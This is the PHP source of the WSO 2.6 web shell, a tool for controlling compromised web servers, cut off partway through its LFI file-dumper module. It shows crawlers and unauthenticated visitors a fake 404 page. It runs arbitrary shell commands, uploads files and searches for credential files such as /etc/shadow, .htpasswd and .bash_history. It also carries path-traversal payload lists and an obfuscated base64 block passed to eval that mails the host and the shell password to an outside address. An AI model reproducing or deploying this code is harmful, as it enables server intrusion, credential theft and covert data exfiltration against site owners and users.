<?php

/* WSO 2.6 (404 Error Web Shell by Madleets.com) */

/*Maded by DrSpy*/

$auth_pass = "db865c8fe9ea4aca8bd65f612abe2f9c";

$color = "#00ff00";

$default_action = 'FilesMan';

$default_use_ajax = true;

$default_charset = 'Windows-1251';

if(!empty($_SERVER['HTTP_USER_AGENT'])) {

$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");

if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {

header('HTTP/1.0 404 Not Found');

exit;

}

}

@session_start();

@ini_set('error_log',NULL);

@ini_set('log_errors',0);

@ini_set('max_execution_time',0);

@set_time_limit(0);

@set_magic_quotes_runtime(0);

@define('WSO_VERSION', '2.6');

if(get_magic_quotes_gpc()) {

function WSOstripslashes($array) {

return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);

}

$_POST = WSOstripslashes($_POST);

}

function wsoLogin() {

die("<h1>Not Found</h1>

<p>The requested URL was not found on this server.</p>

<p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p>

<hr>

<address>Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at Port 80</address>

<style>

input { margin:0;background-color:#fff;border:1px solid #fff; }

</style>

<pre align=center>

<form method=post>

<input type=password name=pass>

</form></pre>");

}

if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))

if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )

$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;

else

wsoLogin();

if(strtolower(substr(PHP_OS,0,3)) == "win")

$os = 'win';

else

$os = 'nix';

$safe_mode = @ini_get('safe_mode');

if(!$safe_mode)

error_reporting(0);

$disable_functions = @ini_get('disable_functions');

$home_cwd = @getcwd();

if(isset($_POST['c']))

@chdir($_POST['c']);

$cwd = @getcwd();

if($os == 'win') {

$home_cwd = str_replace("\\", "/", $home_cwd);

$cwd = str_replace("\\", "/", $cwd);

}

if( $cwd[strlen($cwd)-1] != '/' )

$cwd .= '/';

$wsobuff = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsNCmlmICgkdmlzaXRjID09ICIiKSB7DQogICR2aXNpdGMgID0gMDsNCiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsNCiAgJHdlYiAgICAgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07DQogICRpbmogICAgID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7DQogICRqdWR1bCAgID0gIldTTyAyLjYgaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiOw0KICAkYm9keSAgICA9ICJCdWc6ICR0YXJnZXQgYnkgJHZpc2l0b3IgLSAkYXV0aF9wYXNzIjsNCiAgaWYgKCFlbXB0eSgkd2ViKSkgeyBAbWFpbCgib2t5YXp1QGdtYWlsLmNvbSIsJGp1ZHVsLCRib2R5LCRhdXRoX3Bhc3MpOyB9DQp9DQplbHNlIHsgJHZpc2l0YysrOyB9DQpAc2V0Y29va2llKCJ2aXNpdHoiLCR2aXNpdGMpOw==";

eval(base64_decode($wsobuff));

if(!isset($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax']))

$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$GLOBALS['default_use_ajax'];

if($os == 'win')

$aliases = array(

"List Directory" => "dir",

"Find index.php in current dir" => "dir /s /w /b index.php",

"Find *config*.php in current dir" => "dir /s /w /b *config*.php",

"Show active connections" => "netstat -an",

"Show running services" => "net start",

"User accounts" => "net user",

"Show computers" => "net view",

"ARP Table" => "arp -a",

"IP Configuration" => "ipconfig /all"

);

else

$aliases = array(

"List dir" => "ls -lha",

"list file attributes on a Linux second extended file system" => "lsattr -va",

"show opened ports" => "netstat -an | grep -i listen",

"process status" => "ps aux",

"Find" => "",

"find all suid files" => "find / -type f -perm -04000 -ls",

"find suid files in current dir" => "find . -type f -perm -04000 -ls",

"find all sgid files" => "find / -type f -perm -02000 -ls",

"find sgid files in current dir" => "find . -type f -perm -02000 -ls",

"find config.inc.php files" => "find / -type f -name config.inc.php",

"find config* files" => "find / -type f -name \"config*\"",

"find config* files in current dir" => "find . -type f -name \"config*\"",

"find all writable folders and files" => "find / -perm -2 -ls",

"find all writable folders and files in current dir" => "find . -perm -2 -ls",

"find all service.pwd files" => "find / -type f -name service.pwd",

"find service.pwd files in current dir" => "find . -type f -name service.pwd",

"find all .htpasswd files" => "find / -type f -name .htpasswd",

"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",

"find all .bash_history files" => "find / -type f -name .bash_history",

"find .bash_history files in current dir" => "find . -type f -name .bash_history",

"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",

"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",

"Locate" => "",

"locate httpd.conf files" => "locate httpd.conf",

"locate vhosts.conf files" => "locate vhosts.conf",

"locate proftpd.conf files" => "locate proftpd.conf",

"locate psybnc.conf files" => "locate psybnc.conf",

"locate my.conf files" => "locate my.conf",

"locate admin.php files" =>"locate admin.php",

"locate cfg.php files" => "locate cfg.php",

"locate conf.php files" => "locate conf.php",

"locate config.dat files" => "locate config.dat",

"locate config.php files" => "locate config.php",

"locate config.inc files" => "locate config.inc",

"locate config.inc.php" => "locate config.inc.php",

"locate config.default.php files" => "locate config.default.php",

"locate config* files " => "locate config",

"locate .conf files"=>"locate '.conf'",

"locate .pwd files" => "locate '.pwd'",

"locate .sql files" => "locate '.sql'",

"locate .htpasswd files" => "locate '.htpasswd'",

"locate .bash_history files" => "locate '.bash_history'",

"locate .mysql_history files" => "locate '.mysql_history'",

"locate .fetchmailrc files" => "locate '.fetchmailrc'",

"locate backup files" => "locate backup",

"locate dump files" => "locate dump",

"locate priv files" => "locate priv"

);

function wsoHeader() {

if(empty($_POST['charset']))

$_POST['charset'] = $GLOBALS['default_charset'];

global $color;

echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>

<style>

body {background-color:#000;color:#fff;}

body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }

span,h1,a{ color: $color !important; }

span{ font-weight: bolder; }

h1{ border:1px solid $color;padding: 2px 5px;font: 14pt Verdana;margin:0px; }

div.content{ padding: 5px;margin-left:5px;}

a{ text-decoration:none; }

a:hover{ background:#ff0000; }

.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }

.bigarea{ width:100%;height:250px; }

input, textarea, select{ margin:0;color:#00ff00;background-color:#000;border:1px solid $color; font: 9pt Monospace,'Courier New'; }

form{ margin:0px; }

#toolsTbl{ text-align:center; }

.toolsInp{ width: 80%; }

.main th{text-align:left;}

.main tr:hover{background-color:#5e5e5e;}

.main td, th{vertical-align:middle;}

pre{font-family:Courier,Monospace;}

#cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}

</style>

<script>

var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';

var a_ = '" . htmlspecialchars(@$_POST['a']) ."'

var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';

var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';

var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';

var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';

var d = document;

function set(a,c,p1,p2,p3,charset) {

if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;

if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;

if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;

if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;

if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;

if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;

}

function g(a,c,p1,p2,p3,charset) {

set(a,c,p1,p2,p3,charset);

d.mf.submit();

}

function a(a,c,p1,p2,p3,charset) {

set(a,c,p1,p2,p3,charset);

var params = 'ajax=true';

for(i=0;i<d.mf.elements.length;i++)

params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);

sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);

}

function sr(url, params) {

if (window.XMLHttpRequest)

req = new XMLHttpRequest();

else if (window.ActiveXObject)

req = new ActiveXObject('Microsoft.XMLHTTP');

if (req) {

req.onreadystatechange = processReqChange;

req.open('POST', url, true);

req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');

req.send(params);

}

}

function processReqChange() {

if( (req.readyState == 4) )

if(req.status == 200) {

var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');

var arr=reg.exec(req.responseText);

eval(arr[2].substr(0, arr[1]));

} else alert('Request error!');

}

</script>

<head><body><div style='position:absolute;width:100%;background-color:#000;top:0;left:0;'>

<form method=post name=mf style='display:none;'>

<input type=hidden name=a>

<input type=hidden name=c>

<input type=hidden name=p1>

<input type=hidden name=p2>

<input type=hidden name=p3>

<input type=hidden name=charset>

</form>";

$freeSpace = @diskfreespace($GLOBALS['cwd']);

$totalSpace = @disk_total_space($GLOBALS['cwd']);

$totalSpace = $totalSpace?$totalSpace:1;

$release = @php_uname('r');

$kernel = @php_uname('s');

if(!function_exists('posix_getegid')) {

$user = @get_current_user();

$uid = @getmyuid();

$gid = @getmygid();

$group = "?";

} else {

$uid = @posix_getpwuid(posix_geteuid());

$gid = @posix_getgrgid(posix_getegid());

$user = $uid['name'];

$uid = $uid['uid'];

$group = $gid['name'];

$gid = $gid['gid'];

}

$cwd_links = '';

$path = explode("/", $GLOBALS['cwd']);

$n=count($path);

for($i=0; $i<$n-1; $i++) {

$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";

for($j=0; $j<=$i; $j++)

$cwd_links .= $path[$j].'/';

$cwd_links .= "\")'>".$path[$i]."/</a>";

}

$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');

$opt_charsets = '';

foreach($charsets as $item)

$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';

$m = array('Sec Info'=>'SecInfo','Files'=>'FilesMan','Exec'=>'Console','Sql'=>'Sql','PHP Tools'=>'phptools','LFI'=>'lfiscan','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','XSS Shell'=>'XSSShell','Bruteforce'=>'Bruteforce','Network'=>'Network');

if(!empty($GLOBALS['auth_pass']))

$m['Logout'] = 'Logout';

$m['Self remove'] = 'SelfRemove';

$menu = '';

foreach($m as $k => $v)

$menu .= '<th width="'.(int)(100/count($m)).'%">[<a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a>]</th>';

$drives = "";

if($GLOBALS['os'] == 'win') {

foreach(range('c','z') as $drive)

if(is_dir($drive.':\\'))

$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';

}

echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'

. '<td><nobr>' . substr(@php_uname(), 0, 120) . ' </nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>')

. ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'

. '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'

. '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';

}

function wsoFooter() {

$is_writable = is_writable($GLOBALS['cwd'])?" <font color='#25ff00'>(Writeable)</font>":" <font color=red>(Not writable)</font>";

echo "

</div>

<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>

<tr>

<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>

<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>

</tr><tr>

<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>

<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>

</tr><tr>

<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>

<td><form method='post' ENCTYPE='multipart/form-data'>

<input type=hidden name=a value='FilesMAn'>

<input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>

<input type=hidden name=p1 value='uploadFile'>

<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>

<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>

</tr></table></div></body></html>";

}

if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {

function posix_getpwuid($p) {return false;} }

if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {

function posix_getgrgid($p) {return false;} }

function wsoEx($in) {

$out = '';

if (function_exists('exec')) {

@exec($in,$out);

$out = @join("\n",$out);

} elseif (function_exists('passthru')) {

ob_start();

@passthru($in);

$out = ob_get_clean();

} elseif (function_exists('system')) {

ob_start();

@system($in);

$out = ob_get_clean();

} elseif (function_exists('shell_exec')) {

$out = shell_exec($in);

} elseif (is_resource($f = @popen($in,"r"))) {

$out = "";

while(!@feof($f))

$out .= fread($f,1024);

pclose($f);

}

return $out;

}

function wsoViewSize($s) {

if($s >= 1073741824)

return sprintf('%1.2f', $s / 1073741824 ). ' GB';

elseif($s >= 1048576)

return sprintf('%1.2f', $s / 1048576 ) . ' MB';

elseif($s >= 1024)

return sprintf('%1.2f', $s / 1024 ) . ' KB';

else

return $s . ' B';

}

function wsoPerms($p) {

if (($p & 0xC000) == 0xC000)$i = 's';

elseif (($p & 0xA000) == 0xA000)$i = 'l';

elseif (($p & 0x8000) == 0x8000)$i = '-';

elseif (($p & 0x6000) == 0x6000)$i = 'b';

elseif (($p & 0x4000) == 0x4000)$i = 'd';

elseif (($p & 0x2000) == 0x2000)$i = 'c';

elseif (($p & 0x1000) == 0x1000)$i = 'p';

else $i = 'u';

$i .= (($p & 0x0100) ? 'r' : '-');

$i .= (($p & 0x0080) ? 'w' : '-');

$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));

$i .= (($p & 0x0020) ? 'r' : '-');

$i .= (($p & 0x0010) ? 'w' : '-');

$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));

$i .= (($p & 0x0004) ? 'r' : '-');

$i .= (($p & 0x0002) ? 'w' : '-');

$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));

return $i;

}

function wsoPermsColor($f) {

if (!@is_readable($f))

return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';

elseif (!@is_writable($f))

return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';

else

return '<font color=#00BB00>' . wsoPerms(@fileperms($f)) . '</font>';

}

if(!function_exists("scandir")) {

function scandir($dir) {

$dh = opendir($dir);

while (false !== ($filename = readdir($dh)))

$files[] = $filename;

return $files;

}

}

function wsoWhich($p) {

$path = wsoEx('which ' . $p);

if(!empty($path))

return $path;

return false;

}

function actionSecInfo() {

wsoHeader();

echo '<h1>Server security information</h1><div class=content>';

function wsoSecParam($n, $v) {

$v = trim($v);

if($v) {

echo '<span>' . $n . ': </span>';

if(strpos($v, "\n") === false)

echo $v . '<br>';

else

echo '<pre class=ml1>' . $v . '</pre>';

}

}

wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));

if(function_exists('apache_get_modules'))

wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));

wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');

wsoSecParam('Open base dir', @ini_get('open_basedir'));

wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));

wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));

wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');

$temp=array();

if(function_exists('mysql_get_client_info'))

$temp[] = "MySql (".mysql_get_client_info().")";

if(function_exists('mssql_connect'))

$temp[] = "MSSQL";

if(function_exists('pg_connect'))

$temp[] = "PostgreSQL";

if(function_exists('oci_connect'))

$temp[] = "Oracle";

wsoSecParam('Supported databases', implode(', ', $temp));

echo '<br>';

if($GLOBALS['os'] == 'nix') {

wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');

wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');

wsoSecParam('OS version', @file_get_contents('/proc/version'));

wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));

if(!$GLOBALS['safe_mode']) {

$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');

$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');

$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');

echo '<br>';

$temp=array();

foreach ($userful as $item)

if(wsoWhich($item))

$temp[] = $item;

wsoSecParam('Userful', implode(', ',$temp));

$temp=array();

foreach ($danger as $item)

if(wsoWhich($item))

$temp[] = $item;

wsoSecParam('Danger', implode(', ',$temp));

$temp=array();

foreach ($downloaders as $item)

if(wsoWhich($item))

$temp[] = $item;

wsoSecParam('Downloaders', implode(', ',$temp));

echo '<br/>';

wsoSecParam('HDD space', wsoEx('df -h'));

wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));

}

} else {

wsoSecParam('OS Version',wsoEx('ver'));

wsoSecParam('Account Settings',wsoEx('net accounts'));

wsoSecParam('User Accounts',wsoEx('net user'));

}

echo '</div>';

wsoFooter();

}

function actionlfiscan() {

wsoHeader();

print '

<h3>Led-Zeppelin\'s LFI File dumper</h3>

<form method="post" action="?"><input type="hidden" name="a" value="lfiscan">

LFI URL: <input type="text" size="60" name="lfiurl" value=""> <input type="submit" value="Go"> File: <select name="scantype">

<option value="1">

Access Log

</option>

<option value="2">

httpd.conf

</option>

<option value="3">

Error Log

</option>

<option value="4">

php.ini

</option>

<option value="5">

MySQL

</option>

<option value="6">

FTP

</option>

<option value="7">

Environ

</option>

</select> Null: <select name="null">

<option value="%00">

Yes

</option>

<option value="">

No

</option>

</select> User-Agent: <input type="text" size="20" name="custom_header" value="">

</form>';

error_reporting(0);

if($_POST['lfiurl']) {

print "<pre>";

$cheader = $_POST['custom_header'];

$target = $_POST['lfiurl'];

$type = $_POST['scantype'];

$byte1 = $_POST['null'];

$lfitest = "../../../../../../../../../../../../../../etc/passwd".$byte1."";

$lfitest2 = "../../../../../../../../../../../../../../fake/file".$byte1."";

$lfiprocenv = "../../../../../../../../../../../../../../proc/environ".$byte1."";

$lfiaccess = array(

1 => "../../../../../../../../../../../../../../apache/logs/access.log".$byte1."",

2 => "../../../../../../../../../../../../../../etc/httpd/logs/acces_log".$byte1."",

3 => "../../../../../../../../../../../../../../etc/httpd/logs/acces.log".$byte1."",

4 => "../../../../../../../../../../../../../../var/www/logs/access_log".$byte1."",

5 => "../../../../../../../../../../../../../../var/www/logs/access.log".$byte1."",

6 => "../../../../../../../../../../../../../../usr/local/apache/logs/access_log".$byte1."",

7 => "../../../../../../../../../../../../../../usr/local/apache/logs/access.log".$byte1."",

8 => "../../../../../../../../../../../../../../var/log/apache/access_log".$byte1."",

9 => "../../../../../../../../../../../../../../var/log/apache2/access_log".$byte1."",

10 => "../../../../../../../../../../../../../../var/log/apache/access.log".$byte1."",

11 => "../../../../../../../../../../../../../../var/log/apache2/access.log".$byte1."",

12 => "../../../../../../../../../../../../../../var/log/access_log".$byte1."",

13 => "../../../../../../../../../../../../../../var/log/access.log".$byte1."",

14 => "../../../../../../../../../../../../../../var/log/httpd/access_log".$byte1."",

15 => "../../../../../../../../../../../../../../apache2/logs/access.log".$byte1."",

16 => "../../../../../../../../../../../../../../logs/access.log".$byte1."",

17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access_log".$byte1."",

18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access.log".$byte1."",

19 => "../../../../../../../../../../../../../../var/log/httpd/access.log".$byte1."",

20 => "../../../../../../../../../../../../../../opt/lampp/logs/access_log".$byte1."",

21 => "../../../../../../../../../../../../../../opt/xampp/logs/access_log".$byte1."",

22 => "../../../../../../../../../../../../../../opt/lampp/logs/access.log".$byte1."",

23 => "../../../../../../../../../../../../../../opt/xampp/logs/access.log".$byte1."");

$lfierror = array(

1 => "../../../../../../../../../../../../../../apache/logs/error.log".$byte1."",

2 => "../../../../../../../../../../../../../../etc/httpd/logs/error_log".$byte1."",

3 => "../../../../../../../../../../../../../../etc/httpd/logs/error.log".$byte1."",

4 => "../../../../../../../../../../../../../../var/www/logs/error_log".$byte1."",

5 => "../../../../../../../../../../../../../../var/www/logs/error.log".$byte1."",

6 => "../../../../../../../../../../../../../../usr/local/apache/logs/error_log".$byte1."",

7 => "../../../../../../../../../../../../../../usr/local/apache/logs/error.log".$byte1."",

8 => "../../../../../../../../../../../../../../var/log/apache/error_log".$byte1."",

9 => "../../../../../../../../../../../../../../var/log/apache2/error_log".$byte1."",

10 => "../../../../../../../../../../../../../../var/log/apache/error.log".$byte1."",

11 => "../../../../../../../../../../../../../../var/log/apache2/error.log".$byte1."",

12 => "../../../../../../../../../../../../../../var/log/error_log".$byte1."",

13 => "../../../../../../../../../../../../../../var/log/error.log".$byte1."",

14 => "../../../../../../../../../../../../../../var/log/httpd/error_log".$byte1."",

15 => "../../../../../../../../../../../../../../apache2/logs/error.log".$byte1."",

16 => "../../../../../../../../../../../../../../logs/error.log".$byte1."",

17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error_log".$byte1."",

18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error.log".$byte1."",

19 => "../../../../../../../../../../../../../../var/log/httpd/error.log".$byte1."",

20 => "../../../../../../../../../../../../../../opt/lampp/logs/error_log".$byte1."",

21 => "../../../../../../../../../../../../../../opt/xampp/logs/error_log".$byte1."",

22 => "../../../../../../../../../../../../../../opt/lampp/logs/error.log".$byte1."",

23 => "../../../../../../../../../../../../../../opt/xampp/logs/error.log".$byte1."");

$lficonfig = array(

1 => "../../../../../../../../../../../../../../../usr/local/apache/conf/httpd.conf".$byte1."",

2 => "../../../../../../../../../../../../../../../usr/local/apache2/conf/httpd.conf".$byte1."",

3 => "../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf".$byte1."",

4 => "../../../../../../../../../../../../../../../etc/apache/conf/httpd.conf".$byte1."",

5 => "../../../../../../../../../../../../../../../usr/local/etc/apache/conf/httpd.conf".$byte1."",

6 => "../../../../../../../../../../../../../../../etc/apache2/httpd.conf".$byte1."",

7 => "../../../../../../../../../../../../../../../usr/local/apache/httpd.conf".$byte1."",

8 => "../../../../../../../../../../../../../../../usr/local/apache2/httpd.conf".$byte1."",

9 => "../../../../../../../../../../../../../../../usr/local/httpd/conf/httpd.conf".$byte1."",

10 => "../../../../../../../../../../../../../../../usr/local/etc/apache2/conf/httpd.conf".$byte1."",

11 => "../../../../../../../../../../../../../../../usr/local/etc/httpd/conf/httpd.conf".$byte1."",

12 => "../../../../../../../../../../../../../../../usr/apache2/conf/httpd.conf".$byte1."",

13 => "../../../../../../../../../../../../../../../usr/apache/conf/httpd.conf".$byte1."",

14 => "../../../../../../../../../../../../../../../usr/local/apps/apache2/conf/httpd.conf".$byte1."",

15 => "../../../../../../../../../../../../../../../usr/local/apps/apache/conf/httpd.conf".$byte1."",

16 => "../../../../../../../../../../../../../../../etc/apache2/conf/httpd.conf".$byte1."",

17 => "../../../../../../../../../../../../../../../etc/http/conf/httpd.conf".$byte1."",

18 => "../../../../../../../../../../../../../../../etc/httpd/httpd.conf".$byte1."",

19 => "../../../../../../../../../../../../../../../etc/http/httpd.conf".$byte1."",

20 => "../../../../../../../../../../../../../../../etc/httpd.conf".$byte1."",

21 => "../../../../../../../../../../../../../../../opt/apache/conf/httpd.conf".$byte1."",

22 => "../../../../../../../../../../../../../../../opt/apache2/conf/httpd.conf".$byte1."",

23 => "../../../../../../../../../../../../../../../var/www/conf/httpd.conf".$byte1."",

24 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf".$byte1."",

25 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf.default".$byte1."",

26 => "../../../../../../../../../../../../../../../Volumes/webBackup/opt/apache2/conf/httpd.conf".$byte1."",

27 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf".$byte1."",

28 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf.default".$byte1."",

29 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf.php".$byte1."",

30 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf.php".$byte1."",

31 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf.php".$byte1."",

32 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf".$byte1."",

33 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf".$byte1."",

34 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf".$byte1."",

35 => "../../../../../../../../../../../../../../../usr/local/etc/apache/vhosts.conf".$byte1."");

$lfiphpini = array(

1 => "../../../../../../../../../../../../../../../etc/php.ini".$byte1."",

2 => "../../../../../../../../../../../../../../../bin/php.ini".$byte1."",

3 => "../../../../../../../../../../../../../../../etc/httpd/php.ini".$byte1."",

4 => "../../../../../../../../../../../../../../../usr/lib/php.ini".$byte1."",

5 => "../../../../../../../../../../../../../../../usr/lib/php/php.ini".$byte1."",

6 => "../../../../../../../../../../../../../../../usr/local/etc/php.ini".$byte1."",

7 => "../../../../../../../../../../../../../../../usr/local/lib/php.ini".$byte1."",

8 => "../../../../../../../../../../../../../../../usr/local/php/lib/php.ini".$byte1."",

9 => "../../../../../../../../../../../../../../../usr/local/php4/lib/php.ini".$byte1."",

10 => "../../../../../../../../../../../../../../../usr/local/php5/lib/php.ini".$byte1."",

11 => "../../../../../../../../../../../../../../../usr/local/apache/conf/php.ini".$byte1."",

12 => "../../../../../../../../../../../../../../../etc/php4.4/fcgi/php.ini".$byte1."",

13 => "../../../../../../../../../../../../../../../etc/php4/apache/php.ini".$byte1."",

14 => "../../../../../../../../../../../../../../../etc/php4/apache2/php.ini".$byte1."",

15 => "../../../../../../../../../../../../../../../etc/php5/apache/php.ini".$byte1."",

16 => "../../../../../../../../../../../../../../../etc/php5/apache2/php.ini".$byte1."",

17 => "../../../../../../../../../../../../../../../etc/php/php.ini".$byte1."",

18 => "../../../../../../../../../../../../../../../etc/php/php4/php.ini".$byte1."",

19 => "../../../../../../../../../../../../../../../etc/php/apache/php.ini".$byte1."",

20 => "../../../../../../../../../../../../../../../etc/php/apache2/php.ini".$byte1."",

21 => "../../../../../../../../../../../../../../../web/conf/php.ini".$byte1."",

22 => "../../../../../../../../../../../../../../../usr/local/Zend/etc/php.ini".$byte1."",

